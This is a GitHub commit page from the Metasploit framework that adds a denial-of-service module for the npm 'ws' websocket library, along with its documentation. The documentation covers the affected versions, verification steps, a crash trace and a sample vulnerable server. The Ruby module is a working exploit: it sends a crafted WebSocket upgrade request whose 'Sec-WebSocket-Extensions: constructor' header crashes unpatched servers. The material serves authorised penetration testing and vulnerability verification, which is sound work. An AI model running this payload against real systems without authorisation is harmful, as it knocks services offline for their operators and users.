Skip to content

Commit a8b845f

Browse files
committed
Land rapid7#9283, Add node.js ws websocket library DoS module
2 parents 31042d4 + 369d74c commit a8b845f

File tree

2 files changed

+129
-0
lines changed

2 files changed

+129
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
ws < 1.1.5 || (2.0.0 , 3.3.1)
3+
https://nodesecurity.io/advisories/550
4+
5+
## Vulnerable Analysis
6+
This module exploits a Denial of Service vulnerability in npm module "ws".
7+
By sending a specially crafted value of the Sec-WebSocket-Extensions header
8+
on the initial WebSocket upgrade request, the ws component will crash.
9+
10+
## Verification Steps
11+
1. Start the vulnerable server using the sample server code below `node server.js`
12+
2. Start `msfconsole`
13+
3. `use auxiliary/dos/http/ws_dos`
14+
4. `set RHOST <IP>`
15+
5. `run`
16+
6. The server should crash
17+
18+
## Options
19+
None.
20+
21+
## Scenarios
22+
23+
## Server output from crash
24+
```
25+
/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:40
26+
paramsList.push(parsedParams);
27+
^
28+
29+
TypeError: paramsList.push is not a function
30+
at value.split.forEach (/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:40:16)
31+
at Array.forEach (<anonymous>)
32+
at Object.parse (/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:15:20)
33+
at WebSocketServer.completeUpgrade (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:230:30)
34+
at WebSocketServer.handleUpgrade (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:197:10)
35+
at Server.WebSocketServer._ultron.on (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:87:14)
36+
at emitThree (events.js:136:13)
37+
at Server.emit (events.js:217:7)
38+
at onParserExecuteCommon (_http_server.js:495:14)
39+
at onParserExecute (_http_server.js:450:3)
40+
```
41+
42+
## Sample server
43+
```
44+
const WebSocket = require('ws');
45+
const wss = new WebSocket.Server(
46+
{ port: 3000 }
47+
);
48+
wss.on('connection', function connection(ws) {
49+
console.log('connected');
50+
ws.on('message', function incoming(message)
51+
{ console.log('received: %s', message); }
52+
);
53+
ws.on('error', function (err)
54+
{ console.error(err); }
55+
);
56+
});
57+
```

modules/auxiliary/dos/http/ws_dos.rb

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::Tcp
8+
include Msf::Auxiliary::Dos
9+
10+
def initialize
11+
super(
12+
'Name' => 'ws - Denial of Service',
13+
'Description' => %q{
14+
This module exploits a Denial of Service vulnerability in npm module "ws".
15+
By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.
16+
},
17+
'References' =>
18+
[
19+
['URL', 'https://nodesecurity.io/advisories/550'],
20+
['CWE', '400'],
21+
],
22+
'Author' =>
23+
[
24+
'Ryan Knell, Sonatype Security Research',
25+
'Nick Starke, Sonatype Security Research',
26+
],
27+
'License' => MSF_LICENSE
28+
)
29+
30+
register_options([
31+
Opt::RPORT(3000),
32+
OptString.new('TARGETURI', [true, 'The base path', '/']),
33+
],)
34+
end
35+
36+
def run
37+
path = datastore['TARGETURI']
38+
39+
#Create HTTP request
40+
req = [
41+
"GET #{path} HTTP/1.1",
42+
"Connection: Upgrade",
43+
"Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}",
44+
"Sec-WebSocket-Version: 8",
45+
"Sec-WebSocket-Extensions: constructor", #Adding "constructor" as the value for this header causes the DoS
46+
"Upgrade: websocket",
47+
"\r\n"
48+
].join("\r\n");
49+
50+
begin
51+
connect
52+
print_status("Sending DoS packet to #{peer}")
53+
sock.put(req)
54+
55+
data = sock.get_once(-1) #Attempt to retrieve data from the socket
56+
57+
if data =~ /101/ #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.
58+
print_error("WebSocket Upgrade request Successful, service not vulnerable.")
59+
else
60+
fail_with(Failure::Unknown, "An unknown error occured")
61+
end
62+
63+
disconnect
64+
print_error("DoS packet unsuccessful")
65+
66+
rescue ::Rex::ConnectionRefused
67+
print_error("Unable to connect to #{peer}")
68+
rescue ::Errno::ECONNRESET, ::EOFError
69+
print_good("DoS packet successful. #{peer} not responding.")
70+
end
71+
end
72+
end

0 commit comments

Comments
 (0)